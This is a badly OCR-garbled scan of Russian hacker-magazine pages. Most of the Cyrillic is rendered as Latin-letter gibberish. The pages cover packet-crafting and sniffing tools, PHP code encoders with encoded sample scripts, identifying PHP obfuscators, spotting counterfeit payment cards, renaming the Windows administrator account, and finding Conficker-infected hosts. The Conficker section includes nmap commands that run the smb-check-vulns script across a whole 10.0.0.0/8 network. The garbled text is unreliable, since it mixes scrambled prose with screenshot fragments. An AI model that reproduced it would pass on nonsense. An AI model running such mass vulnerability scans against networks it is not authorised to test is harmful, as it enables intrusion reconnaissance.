IoIBbl4HblXAAHHblX,IoIMEET BCTPO­ HblE CPEACTBAAllSl rPA6Io1HrAVOIP­ PA3rOBOPOB IoIAAHHbiXABTOPIoI3AllIiIIiI SIP

NGREP=nPIiIB~4H~IIlGREP+CETEBOIll TPAl1llolK

rl.1e Mep,ltla, a BlOKe napO/ll'll.1 npoyylO l.1H¢>Y All~ aSTOp113au,l.1V1. nOJle3Ha51 B03MO;.t<HOCTb -

nOI1CK Tex Y43CTK08 ,o,3HHbIX, lITO

co.o,ep)l(aT KlllOyeSble Clloaa IHanpl-1Mep, norltlH nOJlb30a8T€1l111.

SCAPY WWW.SECDEV.ORG/PROJECTS/SCAPY nJlATcDOPMA: 'NIX, ECTb nOPT nOA WINDOWS

Ox4553-lnlercep!er Tbl

MusL-have AJl" ll106oro X3Kepa, npe,ll,CTaSflSlIOl1.\I'lVI co6o~

MO>KeWb np04l-1TaTb

H€f:iWYfO

nOAPo6Hee npo

MOUJ,­

8 CTaTbe Kplo1ca Ka­

1)'.n3y AJlI' vHITepaKTl.>10HO~ M8HlAnymU..ll'1l·1 naKeTaMlII.

cnepCKI1 ['!~'!E_k£"n..­

npl.1HtlTb 11 AeKOp,V1pOBaTb flaKeTbI caMblX pa3JH1I.JHblX npo­ TOK0J108, OTtlen1Tb Ha

3anpoc,

lt1HJt<eKn1pOB8Tb MOAlt11Jl.1~\IlPO­

B3HHblf1l.1 co6CTseHHopyLlHO C03,q8HHbli1 naKeT - ace nen::.o!

C ee

nOMOll.\blO MO;:+<HO Bblr:OJlH51Tb LJ,eJ1bl~

3aAt:l4, BpO,lle

CKaHliIpOBaHliI~,

Io1HeppaCTpYICTYPbl CeT!<1.

p>lA KJl8CCVI'-leCKI1X

lracorute, aTaK

B O,llHOM

lelheral. pOf

1-1

T.A-

8 TO >Ke caMoe

8peM~

•;

~

File

I

D~acledHom(71) Received Flarne;ISl55) I Fies{2&4) 11rM9M(179) I Cr~ I c.w.le><l] ~Logl Repat'

CKoe 3a,llaHl1e, KOTOpoe HIiIKorAa He CMQ>KeT C,IleJlaTb y>Ke C03­

ffi

!>

&J

CIiI, '"IT06b1, HanpliIMep. CreHepl1­

ff)- ().

20744 1:12.1:1~ [",.,""",,(~I(1X,r.("'1 CQ~'.I 2Oil.97.160.13 [in~tinsec .... e.or~J \l"-o:]

s.i} 208.113.213.2-43 [~uips.comJ (Ln..:.] IF' 20S 113,213.243 .- t'" MAC: croo 8tlA36f7D 10·Link)

eaHlileM Scapy! Y nporpaMMbl HeT rpaeplillleCKoro lIIHTepepei1ca. a IiIHTepaKTIiIBHQCTb AQCTliIrSeTC~ 3a (4eT v,HTepnpeTaTopa Python. iii

205.217.15359 [sced'tU,or9) (woo_)

ijl (). 2(l8.100.1.161Iwhos.~UI'](Lir'u<)

posaTb HenpaBl.·l!lbHbI~ naKeT 11 CAeflaTb epa3311Hr K<lKorO-TO ,QeMOHa, AOCTaT04HO HaKIiI,llaTb napy CTp04eK KO,lla (liIcnOflbJO­

l.Jyrb OCBOIiIWbCl'I,

-D

H~ il90S~$.com

os: Lrox 2A-xx (33.33 tJ Lirox Fedor.!l Core 1 f33.33 4:) Man,hke 9.2 (li'lux 2Axx) (33.33 Xl

I!l

802.11, COBMeLlJ,aTb pa3J1li1',Hble nOAXOAbl8 STaKax !cKS>KeM, ARP cache poisoning liI VLAN hoppingllil T.A. Pa3pa6OT4li1KIiI

IB

rJ

C<lM'A HacralilBaKlT HS TOM, 4T05bl B03MO>t<HOCTliI Scapy l-1Cn011b­

S

21

30Bam1Cb B Apyrlilx npOeKTax. nOAKnKl41i1B ee KaK MO.L\ynb, 11erKO

."1. ......... C1C

Kl-1, nOlilCK3 yl'l3E!l-1MOCTeYl. Wi-Fi I-1H>KeKlllil>1, aBTOMaTliI'-feCKQro BbinOflHeHliIl'I cneUIiIQ>1-14eCI<V,X 3a,lla4

iii

J

TTL: 53 (listMCe: 11) Open rep POIlt". 80 m Q Sent 114 packds [126091 Bjilesl. 1_80~cle~Ie:<1I20711 01114 741 8J";~) I!l (:I R ~ 87 P.!Idd; [10 403 Byte:;.l. 0.00 %cle.artexl (0 01 0 B}'les)

Te6e Y.lKe HI14ero He 6Y,lleT CTOI-1Tb C03,llaTb

HeKOppeKTHble naKeTbl, I1H>KeKT\J1pOSaTb HY)(Hble eppei1Mbl

c03,o,aTb ytlill1l1Ty Ails:. pa31l1-14HOro pOAa liIcCn€AOSClHliI" JlOKCln­

..d.QJ2'J

Heb

Tools

IWinPC/lP: SiS NICSISNiC{M1CIosd!.'sPi!lCkd Schediefl (BlJB~n-EC38-4$A-ro:.F.443D1~BD6:::J ~ ~

,l],aHHOe Apyrlo1M pa3.os60TYIiIKOM cpeACTBO. BMeCTO TOro 4T06bl

mpy CTpOK Hil

POF'BepCIiI116YAeTHa ,o,liICKe

~naKOHe Mbl nOf1y"seM 3sMeHy

Scapy n03aOJll'leT BblnOJIHIiITb JlIo60e, ,Qa>Ke caMoe Cnel.\liI~liI'·le­

nlilC8Tb uel1YIO

111S/060/hspi

npOCTASlIolH>KEKllIolSl nAKETOB CnOMOlllblO NEMESIS

lt1 onpeAelleHliI~

TaKl-1X nonYl1RpHblX yrlo1f1Io1T, KSK: hping, nmap, arpspoof, arp­ sk. arping. tcpdump,

ru/magClline/xCi

If1CCllTli'lg seuiol'll: 3 OlAgoingses$ions:D Host Oelab

Web SeIVe1 B¥IlCI 1 ; TCP 00: ApocheI2.o.5-4 flIr01) PHP/H 7 nxxCsslI2.o.54 OpenSSlIO.S.7e fl\OdJ.!IS ....

o.".,..•,..

_~_,

.. '- ..,

NETWORK MINER, KPOME CHloIl1llolHrAAAHHblX, nOnblTAETCSl PA3BEAATb KAK MO>KHO 6011bWE OllOKAllKE

T.A

PACKETH PACKETH.SOURCEFORGE.NET 'NIX, ECTb nOPT nOA WINDOWS

PEAAKTIoIPOBAHIoIE nOllEIll nAKETAC nOMOlllblO GUI­ IoIHTEPl1lEIllCAPACKETH

V1HTepeCHa" pa3pa6oTKa. n03BOfll'llOl1.\dl'l. c OAHOYI CTOpOHbl, reHepl1pOBaTb 11106oi1 ethernet naKeT. 1-1. C .QpyroVi. ornpas­ MlTb nocne,ll,oB3Tef1bHOCTliI naKelOB C l.\eJlblO npOeepKI1 nponYCKHOv. cnoco5HoCTH, 8 OT11li14li1e OT APyrl-1x nOAo6HblX

U"""UU""UUUfUOO4~~

OO)~

TynJ. packelh liIMeeT rpa¢liI4eCKI1>1 I-1HTep4Je~c. n03BOn5ll'l

C03.QaBaTb naKeTbl B M2KCHMaJ1bHO npOCTOYl epopMe . .Q.anbwe -

6011bwe. Oco6eHHo npopa6oTaHo COJ,o,dHlile

iii

Il7740 0071 II C7c5 S1 ..

~:::;:~:~ ~~~~ ~::~::

~r"Ol

01

::::::::::

ornpa8Ka

nocJle,llOaaTenbHOCTe>1 naKeTOB. Tbl MO>KeWb yCTdHd8f1l-18aTb 3aAep>KKliI Me>K,llY ompaBKOV:, enaTb naKeTbl C MaKCliIM311b­ MOle & IP ," ' ....doll .. UfC\I aodr...

HOiol cKopoeTblO, 4T06bl npoBeplilTb rrponycKHYIO cnoc06­ HoeTb Y4acTKd cem lara, BOT CIO,D,a-To l1 6YAYT AAOCliITbllil, 4TO ew,e I-1HTepeCHee - AIo1HaMlo1yeCKIiI 1iI3MeHflTb napa MeT­

"Ab ••IoA! delay

I

~

....J ,

R.lalive delay l¥tXOlIlel[ro-

9yII Y

'*" rn--

A<ton R#I<!tIm

....JI

Acton l'lUNl....l ....J (

Rang"r Range

p

pbl B naKeTax [HanpIiIMep. IP 1o1111i1 MAC-aApecl.JC

XAKEP OS/ll5/ 0'1

~

039


,

II , I,

I'

»

E:3 ..... 0M

,

.0000000000000000000000000000 ~,

·-t;-IHack E~"Y:;-

E"y

Easy

Hack

Eas Hack l1eOHlIIA "ROIO. CTPOli!KOB

AH,OPElii .. SKVOb KOMAPOB

MORa

J ROID@MAIL.RU/

I KOMAROV@lTDEFENCE.RUJ

I MORO@INBOX.RUI

M~~~~I~lt1lE~~~ETbl

NQ} )

.. E"C0..l!!.1in~le f~.e.

.. Encode MUlliple File_

PEWEHHE, Kat< O:pblTb rOA PHP-CKPl1nTOB oTxocTepa 11m" OT HacTo(.1'H18b1X a,o,Ml-1HIKTparopoB

cepeepa? npaSVlJlbHO - 38wlo1<ppoe3Tb :1.

C==-

Encode Sin9le PHP File

WI 0: "!!3AWMCI»POBATb KOA PHP-CKPMnTA

He BOT4eM? O.QHC3H811Hblfl OTBer HaHn"

HeraK-TO npacTo, 1160 pa3Hoo6pa3Hblx npo.ayKToB Ha ceroAHSlwHIo1H AeHb 60llee "eM AOCTaTO'lHO. DOllbWVfHCTBO I1cnOJlb3YlOT B cBoei1 pa60re O.Ql'IH3KOBbJe 111160

Sourte file:

.::...!...<W!'PJojeds __

(h.'oo m. to

.. lO\lin SettillgS

DeCOder Filename

~.~~g~t1!!!ns .. AbolI1 CJ.yptl

---I

Oti"op_

I

.nc.~.~

I

cryplZl.php

(fll."..... ""IUd..... ',)

OulPUl Zip

I

I.Zip

.:JlOllollt]

CXO>KlII€ aJ1rOpI11MbI. 3TO (80,0,111 Ha HeT BceyCI1Jll<l5l no COKpbHl11O KO,Aa. ~3 Halil6o­

nee nonyflS1pHblX KplilmepOB HCXO/.\Horo PHP-KCAa OTMen1M cne.aylOll.ll1e: 1. Free PHP Encoder -

'.WN!

freeDhpencQder.com

y,o,o6Hbli16ecnn8THblH

OHJlaHH-CepBl.1C no KOAI1POB3Hl.11O PHP-CKpl.1nTOB. 06nClp,aeTCTaTI-l4eCKJ>1M aflro­

~

PVlTMOM wHq,poeaHflSl; epYHKll\111 06$ycK3Topa He VlMeeT.

2. PHP Locklt!

W{fW

phplockilcom

nflilTHblH np0j:\yKTc HaflH411eM Ka"leCTSeH­

f$'1!llYeM KOAPb.~KP..\1nTa

HOro o6¢ycKaTopa. n03BOJlSleTycT3 HaS!l\llSaTb TplIlaJlbHblH CpOK pa60Tbi CKpl1nTOB

1Il nplllBSBKy KAOMeHaM/IP-a,ll,pecaM.

3.PHPCipher - W'A"N phpciphcrcom

¢YHKllllloHanbHblH oHnaHH-cepsVlc, npaB­

S.>KMeM 6aTOH l-1 nOJlY'laeMJ1l1HK Ha apXI1B CWH¢pOBaHHblM CKpl1nToM.

Ao, nn3THblH. np~l H3JlV14111-1 JlI111eH3101I1TbI 6e3 np06JleM CMO}KeWbCTaBI-1Tb KOnl-1paH­

6. PacnaKoBbiBaeM apXI1B, BHyrpl-1 BI1,1l,flM ABa ¢la~l1a:

Tbl Ha wloI4!poBClHHble CKpl1nTbl. Orop4aeT JlIo1WbOTCyTCTBl1e ¢YHKllllllll o64!ycK3Topa.

• HaW_CKplo1nT.php:

4. CNCrypto -W'l"....... cr)·sollwarecorn - loICKIlIO"lI,nellbHO I<OMMeplleCKI1H npoAYKT.

• p,eKOp,ep...AJl51_HaWerO_CKpv1f1Ta php.

OTnl-l\laeTC51 K3yeCTSeHHoii 06¢ycK311l1eH Kop,a.

7. OTKpblsaeM Haw_CKpl1nT.php 11 npOBep5leM Kpl1nTOaBHHblI1KOA'

5.CodeLock ~ wwwcodelock Lo.nl

nony.nSlpH3S1 yrHna AnSI KOAVlPOB3HlIlSl PHP-

CKplilnTOB. q:.YHKl.ll-1l1l o64!ycKallllllll HeT.

<? !*Scripc encoc.ed us:'ng Zore;.: PllP CrYfjtZ '",1;:h deem

6. TrueBug PHPQbfuscator & Encoder - w"iWlru~bugcom - npOTeKTOp,

",CCO'Hlt

-l1t::p:llzoraz.infc",.­

06Jl3A31OUJ,lilH co6CTBeHHbiM aflrOpl1TMOM C}KaniS!. TaK}Ke npl1cyrcTByeT¢,yHK41111

$cryptz

= 1;

061j1yCK31111f111 OnH1MliI3all1111101CXOAHoro PHP-KoAa. OCHOBHOi1 MlilHycyrl-1nbl­

basename(_FILE_); $cryptz_dpath = dirname(_

CTaTl1'-1eCKI-1~

3J1rOpI-1TM AeKOAltIpOBaHV1A CKpl-1nrOB.

7, Zorex PHP CryptZ -

~~

$cryptz_zlib

= 1;

$cryptz_fname =

PILE_); i [ (! file_exists ("Scryptz_dpaLh/cryptzl.

- nflaTHbli1 oHflaHH-CepSl1c- .o.eMo-SepCI151

np~cyrcTByeT, ¢YHKllI-1Vl o6¢ycKaTOpa HeT.

Rnepell\1CJlI1J1 JlI-1WbHeCKOJlbKO nonyJl5lpHblx npoeKToB, Ha caMOM~eJle. no,o,o6HbiX

php")) {die("&nbsp;<br>Script decoder not found­

Fail to execute script! <br>&nbsPi <br><hr size=' >< font size=2>script encode using <a href='http://

npoAYKTOB HBMHoro 60JlbWe, 11 BViX nOI-1CKe Te6e nOMO>KeTti'b".li.'J:~:1.

zorex.info'>Zorex PH? CryptZ</a></font>"); }

Tenepb paCCMOTpl1M nOp51AoK,o,ei1cTBl1i1 no COKpblTlo11O COAep)tOiMoro PHP-cKplolnra

include(M$cryptz_dpath/cryptzl.pnp"); return;

npl-1 nOMOLUI1 OHJlai1H-cepBlIlCaWWW.lOflt.l..!L.LI.Q:

AYAS f /7 YTVr 68+ Bz E, IbLQd +1 Pj Ke2 ~Ea +:O'r'SIby {n.Eqq5 j krz1>lQQ'l'e

1. 6epeM (l<pl1nT, 1<0,0, KOTOpOro HaM Heo6xo,ll,flMO 3aKpvlnTOSaTb. Hanpl1Mep:

,( + 9 j rvxc1 C0 6t,hMYGXFQI7 8a 9\.1 /NzZAcTgY2 +AzQ4 fpa '7 gOK2$ 1 0 iM

?>

vGF2z15VBe63vSXqlOU6kaF4cJXeR17h8+NZ+!2MXpOjDiCJ2fBXqa <?

PJIraKyFOa4jww2dg[R/v08j71kMOM9q8wKZLeVl~J7ukus4uNRJCr

echo { 'Crypt Me');

NTeVghOHvPnY~J-Sy]jS4ixlkpcKEur~6C/8390JzPBua~yhh~r8q6

974 12T'/.,'1·1G8eSaJ2 EYe +d'! oNaeDyCCQl ig-l'111xaQPHo7z'1'/ zsl'iOml kw

?>

MdvDUP. r 5 e60 j tLblel,l+mehSvgMcof08KLnN/.h2 S 62 hI zpkUc7 eho2

r 3nYFAqa 5 6KtbPUEn-l6aY'" 9YCLDP+ 9cTKS l1dRtOTgKP'~.lKkECCCzQt

2. 3aXOAI1M Ha cai1T OHJla~H-CepSl1ca W'NW.lorex Info. 3. Bbl6l'1paeM BMeHIO cepBl-1ca "Zorex PHP CryplZ» 11 KJlI1KaeM no CCblnKe.

lclZ",,rvDo1 z + 7ytl'.cm6 t.xcZro:..GIDl ~ e;-,'+pLSVEMrseHCcp 1pN! aS6ZJ

4.3anOJlHl1eM cfleAYIOLl.lHe nOJ1A:

a(;ml Z Pt n 1 i

Source File Output Zip

tP~i1!1<"1 lleKOllepd

1,1 <:tpXl18 C pe3ym.,'l'c..,Cm1

Limi t to Host II (); 'pal J~'-JeH~e no XOCTy

Limit to IP

~

040

KaK BI-1AI1LUb, Bce npl1cToiiHO

; I HaUl Clxn-CKpvInT'

Decoder Filename I.' 1i<l:)BilH:1€

I/

OrpaH!1.Y:€IH~e

no TP

uJ '1 P P9Ghy.lCLy7+g~·/9 f 1 kzYo==

(CKD~mT .. llPKollep)

8.HYI1 B3aBepweHI1e - TeCTlilpyeM AeKo,a,ep.

51 nplllBefl Bnpl1Mep .n'lwb OAI1H 1013 MHOfO'l'lClleJ1HbIX O"lflav,H-cepBI1COS no LUWi!­

pOBaHl11O Kop,a BPHP-CKpVlnTax, TBOH 8b16op 3aSI1CI-1TTOllbKO OT co6CTBeHHblx

npe,!\nO'lTeHI-1HI1 Tpe60BaHI-1~ KJll ropHTMY.


»

o

-

.MlnHlller

- .. ­ . D

3AAA~A,

OnPEAEnHTb 06C1JYCKATOP. KOTOPblM 3AWHClJPOBAH PHP·CKPHnT PEWEHHE, B nCCJ1eAHee epeM9 nOIl3l.1JlOCbOrpOMHOe 4lolCJlO pa3/h1YHblX

11 npOTeKTOp08 PHP-KO,n,a.

o64>yo:arOpOB

Icmd.php

C K3~b'tA pa30M BCeTpYJlHee nOHSlTb. 4eM ltIMeHHO

Free PHP Encoder www.freephpencoder.com

JaKpY1nTOSaH CKpefnT: 33yaCrYKl BOCCTaHOBI.Hb COpell- npow,e. 4eM Onpe,llenl1Tb TI.111 06¢YCK3TOpa. n03T:JHY M~ BOcnOflb3yeMcSl CneL.;l.13JlbHOH

eM peL:s PHPiD,

l1I\eaJlbHO

,QJ1Sl onpeAeneHl.1ll

ynlJlOH nOAHa3B3HH­

nOAxoPJlw,eH no,(l H3WI1l..1enltl npora npe,O,H33H3'leHa

npOTenopOB '.1

06¢YCK3TOPOB

PHP-KOA3 l-1yMeeT paCnOJH3e3Tb

60nee 20 pa3w14HblX 3nrOpvlTMOB, cpeJJ,\1 :<OTOP~X:

B:: ..... OM

I About II

PHPiD Engine 1126

Exit

On~eAell5'leM Tl'ln o6~ycKaTopa/npoTeKTopa phQ-KotJ,a

Onpe.nenReMble npOTeKTopbl:

TrueBug PHPEr,coder 1.0.2 (incl. GZIP) , 1.0.311.0.4

PaCCMOTplilM nOAPo5HblH anroplilTM AeHCTSI1H All51 peweHVI" nocraoflcHIIOH3<JAa­

NuSphere NuCoder

"iii:

Zend Encoder I Zene SafeGutlrd Suite

1.Cnl-1saeM yn-illy PCls PHPiO CHawero ABA.

ByteRun protector for PHP

2. 3anycKaeM exe'Wl-ntK phpld.exe

SourceCop (incl. proLection module)

4. Bbl61-1paeM 3aKpt1nTOB3HHbIH CKplo1nT, Hanpl-1Mep

CodeLock (ir.cl. protection module) <?php

SourceGuardian for PHP PHPCipher

define ("_ENCRYPTED_CODE_". "eG1mJUlwJUE1JTk4UCUyRnQINO

phpSHIELD CNCrypto

UIMUM4dEsIQkUlQOZX,JUM4JTEx,7UlzTg==-) ;

PHTML Encoder

def ine ( "_ENCRYPTOR_KEY_ ", "cfcd208495d565ef66e7dff9f98

ionCube HlP Encoder

764da");

PHP LockIt! 1.B, 2.0 (incl. GZIP)

Cbfusc (Basic/Normal,

Sho~Dbfuscate)

define

("~DECODER_PATH~",

"decoder. php"); //You can

Zorex PHP CryptZ (incl. protection module)

change this path to point to the decoder file in another

gencoder

location.

D\olebSncoder

if(fil€ _ € x ist.s(_DECODER_PATH_}}

Free P:-iP Encoder

PATH_} ;}

{include_once (_DECODER_

PHP Comp8ct

TrueBug PHP Obfuscator 1.1

else {echo»Oecoder file Cloes not exist" ;) 1/ Rela t i ve or

PHPCoder / eAccelerat.or

absolute path to the decoder file

OnpeDen~eMHe o5~ycKaTop~;

Semantic Desi~ns Obfuscator PP.:P Defer.de2:" PH? Locklt!

(Obfuscation model

5. B OKHe Ty.nJbl BVlAI1M pe3YllbTaT: Free PHP Encoder f..QJll.

-VN/W.W\\RA'

Ireephpencoder.

CooTBeTCTseHHo, 3atJ,aya BblnonHeHa: npOTeKTOpycnewHO onpeAeIleH, a co­

peLl Mocro CKpVlnr8 8occTaHoB~wbC3H:1.

Raizlabs PHP Obfuscator

P.S. nOMHVl. "ITO pa3Mep aHaJ1V13Vlpyel-lOro YTlo1no~ CKpi1nTa He AOIlxeH npesblwaTb

POBS - PHP Obfuscator

1 MeTp3.I-1H34e ¢YHKLlVlOHanbHOCTb He rap3HTl1pyeTC~.

W"'·1i'·ll OTnH~HTb nOAAEnbHblE KAPTO~KHVISA/MASTERCARO

OTOPHrHHAllbHblX

PEWEHHE,

nnaTe)f(Hble TepMI-1Hanbl1-1 6aHKoMaTl:.1 Cel.14<lC He CTom pa3se "TO S XJ1e6HblX

llapbKax. s:I paccKaxy. KaK OT11l-1'-ll-1TblleeylO KpeAl-1TKy OT opVlrVlHana. A.n5'l :no­

ro 5'l COCTaSI'111 He6oflbW0l.1 cnl-1COK xapaKTepHo,lX IlpIi13HaKOB. PyKOBOACTBy­

5'lCb l-1M, Tbl CMO)KeWb 5e3 TpYAa onpeAemtTb nOA,ll,eJll<y:

1. V13y"l01 MIo1Kpone'-laTb BOKpyr Iloron.,na VISA, ECJll-1 OHa npaKTIi14eCKI1 He "li\­ TaeTC5'l

\1

CTl-1paeTC5'l CKapTOl.lKl-1 - 6YAbyBepeH, nepeAT06o~fJeSaK'

2. C.ne,iJ,yKlw,a5'l Ba)f(Haj:l tJ,eTam. - r0110rpaMMa. <DOH 0plo1rI-1HaJ1bH0l.1 r0J10rpaMMbl 4III CT. JepKalleH, a tJ,eTallI-11-1306pa)f(eHliI5'l nerKO pa3m-l4I'1MbI. OCHOBHOCi nplt13HaK nOMeJ1bHbiX rOllorpaMM - OTcyTCTBlo1e 06beMa. KpOMe TOro, «J1esa,,» r0J10rpaMMa llerKO OTCJ13VlBaeTC5'lIKaK npasl-1J1o. )TO npocTaSl H3K.'lel.1Ka], Hacro"uwlO rOllorpaMMy Hea03MO)f(HO CKOBblpHyrb HQrleM 1'1111'1 cOApaTb c Kpe~V,TKV1I-1HbIM cnoco6oM,

Ha Opl.-trl.-tHallbHOiill1eHTe B 6011bWI1HCTSe cnY4aes npV1cyrCTByeT ~OH B BI-1~e

3. nOCt>10TpVl Hi3 J1eH1)' AJHl notJ,nl'lcl'I Co6paTHol1 CTOpOHbl KapTo4KIo1.

HaAnI1Cl.-t «MasterCard» 11fH1 «Visa}> Is JaBl.-tCI1MOCTl'I OTTV1na KapTbil. KpoMe

XAKEP

os

/125/ 09

~

041


...":.. E::AOM "

'1

Toro, H3 IleHT€ gOJ1)l<eH pacnOJ1araTbC~ HOMep KapTbilII KOp, 6e30naCHOCTlt1

7. 8 y.nbTpa~~OJleTOBOM cseTe H3 nOMeJlbHblX KapTOYKaX MoryrorcyrCTSO­

saTb cne~VlanbHbre l-1306pa)l(eHliI~ [Hanp\.o1Mep, J1eTI<lL\\1~ rony6b Ha Kaprax

4. V1Hor,Q3 H3 nOA,O,eJ1Kax \1cnOJlbJyeTcfI naMI1H3T, HaHeceHHblC1 C o6elilx CTOpOH,-

VISA1. BepO~THee acero, KapTVlHKa ll1il60 oYtJ,er pa3MblTa, nl100 ee He 5y,.o.eT

:na npo3pa4H3f1 n1leHK3 JlerKO OTCJlal-18aerCfl no KpaflM, 0(0661'11'10

BOBce.

eCJ1i11 ei1 HeMHoro nOM04b.

5. nepsble yeTblpe LJ,lII41Pbl HOMep<l KapTbl [BIN), npop,y6J1l-1POS3HHble KOHT­ paCTHoi1 KpaCKOI1, MOryl cn'paTbol C nOMeJ1bHolii KapT04KI1.

8.AaHHbJe, H3HeceHHbie Ha KapTo4Ky, 055:t3aTellbHO ,.o.OJl)KHbl COBna,o.aTb

Ha oplIIrlllHalle

C,lJ,3HHbIMliI, HaHecemlblMIiI Ha

MarH~THO~

nonoee!

BIN cTepeTb HeS03MO;>Kl-lO!

XOTfi KapT04KIiI Me)l("QYHapoAHbIX nnaTe)l(HbiX Cl'1CTeM peryflSipHo MO,!J,epHIo1311­

6. CTOIH 06paTltITb BHI1M3HI1e Ha 01M80J1b1 «V» 101 «Me» [Ha COOTBen:TBytO~lAX

PYlOTCfl. Cl1e,IJ,yl'l BblweOn1t1C3HHbIM /IIHCTpyKU,I-1SlM. Tbi MO)l(eWb06e30naCliITb

Tlllnax

Kaprl.

ce6R 8 60JlbWliIHCTse CflY4aes,

01'1111 MoryroTJllt14aTbC51 aT CT3HAapTHbiX nOTOIlll.\lt1He!Wl-1plllH€ .

NQ

pecy «H KEY_LOCAL_MAC HINE\SO FTWARE\M Icroso It\ Wi ndows

NT\e urrentVe rSI 0n\Profile List\ < cu rrent_pro fi le_id >\Prof ile Imag ePath» Cnoc­

JleAYKlll-\€11 nepe3arpY3KoH. 3,o,ecb <current_profilejd > onpe..QeJ1>1eTCI< no K.~lO'lY

ProfilelmagePath. YKa3b1s3 lOUJ,eMy H3 pacnOJl:J>KeH\1(: na nKI1 %SYSTEM DRIVE%\

Documents and Settings\<ClapOe_\1MSl_nOJlb30 B3Ten51>.

3AAA~A; nEPEHMEHOBATb CHCTEMHYIO Y~ETHYIO 3AnHCb AAMH­

4. YAaJleHlile cTapo~ nanK\1 npO~\1M. 50JlbWe OHa He np\1roA\.o1TC51.

HHCTPATOPA BWINXP/2003 C nEPEMEUlEHHEM npOCl>Hllll PEWEHHE,

cel1yac CI1AIil:Wb, HeJlb3\<. HY'KHO 33XOtJ,VITb nO,D,11106oi1 APyroiil '113 rpynnbl «A.!J.WIIHI1CT­

T bl, H3aepH51Ka, He p33 CTanXlilBanC51 c np06JleMO~ Han i11410151 KHP\o\J1Jl 1114eCKliIX

paTopbl» \1 Kon\1pOeaTbOTTyAa.

CIilMBOJlOB 8 nyrl1 K npoq>l1lllO y<.<eTHoi13anillciII [BcnOMHlII KP\1BO

pa60TalOUJ,IiIH melasploit framewo rk Cy'leTHOH 3a n\.1CblO «A,[lMIiI­ HIiICTP3TOp»l, HOpMaJlbHO nepeVlt.4eHOBaTb y'leTHylO 3an IiICb y Te6R

He nonY'laJlOCb - np\l1Xo,o,IiIJlOCb KonlilpOBaTb Hy>KHble 6l.16JlIiIOTeKIiI 11

BpylJHylO npOnl-1CblBaTb K HIiIM nyTIiI

HanOClle,o,OK - OAHO 3aMe43Hl1e. CKOnl1pOSaTb npo¢llilllb y"eTKI1, nOA KOTOPOi1 TbI

-_

...

-.".~

.....-.. ::J"" .::.

ea'ren5l >, npeAJIaralO Te6e CJleMlOl.1.(1iI Haflr0plilTM'

~

.::.-­ ..

:::.-­

.__ __

--­

,....--_._..

... ,,~r-nol

-('''''­ -~

-, "..,

.." , 0 _ ,,::1_

.....

~ ~_

....

---- -., .' .. --, ~

.~

~­ ~ ",:.­

..

_101

~~

~P­ ...

C!.cl...­ 'Ii..:!"""'"

1. Py'lHOe nepeltlMeHOB3Hlile ca"IOH y'leTHOH 3anlilCIiI. 3tJ,eCb, JJ.yMalO, Bee ilOH5lTHO. BbJnOnfHleTCI'Illepe3 "naHeJlb ynpaBI1€Hl'1I'1-7 Y"eTHble 3anlilCIiI -7 NlMIil:HIiICTparop 7 nepeIilMeHOeaTb». 2. Konlo1pOBaHIiI€ npo¢lIo1I1Si B HOSylO nanK)'. npo<jlVlnb eMee-

"..,

".",

0 .......,.......

__

~CJ

u ..........,

~t:l_ .u~

Te CcO,[lep>KIo1MblM nanKliI %SYSTEMORIVE%\Oocumentsand

.::u-, .:J

SeUings\<CTapoe_Io1MH_nOnbJOB3TeflSi> nepeMel..LlaeTCI'I TaK: "naHeflb

lt

­ ...­ "

0 .. '···..-uor.;....,·• .,.. ·(,J.·,·.... .~

ynpaeneHl.1H-7 CBoi1cTBa CIiICTeMbl-7 ,QononHI.nenbHo -7 npO¢ll'lnlil

"'>.>-,._,,_,_ i

.1

.::.~ .::. .......

nOJlb30BareneH-7napaMeTpbl». BbI.Qenflewb HY*Hbli1 npo¢llilllb,

.. .::1_

>KMeWb«KonlilpOBaTb»

",::""..-.. 11.;1'-­

~~.­

Bbl5>1paewb. KyAa I%SYSTEMDRIVE%\

11_

'_n,.....

".:J ''''

Documents and Settings\< H060e \1M51 nOJlb30BaTeIlSi> I. npOq,\1Jlb

''::'u

J

~­ ,::",­

BMeeTe co BceM COAep)K\1MblM nanK>'! cKonlilpyeTcl'I no HoeOMynyr>1. JlO)l(eHliIlO npo~l1n~. nyrb npOnJ.o1CblBaercSi no a,!\­

--

_

0< t:I_O<I;

%SYSTEM DRIVE%\Documenls and Seltings\<cTapoe_IiIMI'I_~ nOnbJO­

::;. nponlilCblSaHI1€ nyTl1 e peeCTpe KHOBOMy pacno­

..... L......=­

~5=-=':'""'­ D D'_

It,,, ~--=:::r~ ""'--'"

--,,~-.::,-,.;= $-­

,-~

~CJ'_

ECJlIiI Hy>KHO nOIlHoClblO nepelilMeHOBaTbYlJen:y SMeCTe CnanKOH

iii

_ ­ -. -..­

gaAae.M.rY.!!> K HOB2t!YJ:l.Po{J)V1nKl

c:a_

w..

:~=-

""'.---..IO<A"""'-

NQ 5

_....\ a n .fl" _ '....

_

~

l·I:'1_'~'_,

An5l KpynHoMacwTa6Hblx ceTe~ l1enOJlb3YH KOMaHAY:

nmap -sC -PN -d -p445 -n -'I'4 --nin-hos;;::group 256 --min­

parallelism 64 -~script=smb-check-vulns --script­

args=safe=110.0.0.0/8

WIt'S", HEAABHO H3BECTHbiM TPOAHELlCONFICKER (RU. WIKIPEOIA.ORG/WIKI/CONFICKERI3APA3HIl KY~Y MAWHH, H BCE

V13-33 oco6eHHoCTeli1 Y513BliIMOCH1 peKOMeHAyeTC51 H3Tp3BfllllBaTb CK3Hep

OHH 6AJKHbIE. KAK HX BblllBHTb? PEWEHHE,

3anlllCliI «Conficker: Likely CLEAN» J,111" «Conficker' Likely INFECTED».

1. nOAxOA c nOMoUJ,blO NMAP. Bbl51BI1Tb 4epBI'I MO)f(HO Cll;3HliIpOB3H"eM cBoei1

2. nO.qXOA CnOMOUJ,blO nGREP. cDYHKl.\IolOHafl ngrep 04eHb 60r'aT. Hanplil­

nOAceTI1. np\1rOAliITC51 cne~lIlaJlbHbli1 eKp\.1nT, Hanlilc3HHbli1 Ha NMAP SE - OH

Mep. n03BOJlfleT e o6beM3x TP3epVlK3 np06e)l(aTbCH nOlilCKOM no payloads

Y)l(e 6bln on~caH BnpeAblAyUJ,\.1X HOMep3X. ,UemeTCSl cneAYKllL\eH KOMaH.ao~:

Ha 139 1iI445 nopTbl TCP. 8 pe3ynbTaTax CKaHlilpOB3HlIl51 Tbi o6Hapy)l(VlWb

[3TO l'1Hct>opMa~I1Si, KOTopaSl xpaH I1TCfl B ceTeBbiX n3KeT3X B Ka4eCTBe AaH­ HbIXl. Cl1rHarypa Conficker MO)f(eT 6b1Tb H3~AeHa npaKTI14eCKI1

runap -PN -T4 -pl39,445 -0 -v --script=smb-check-vulns

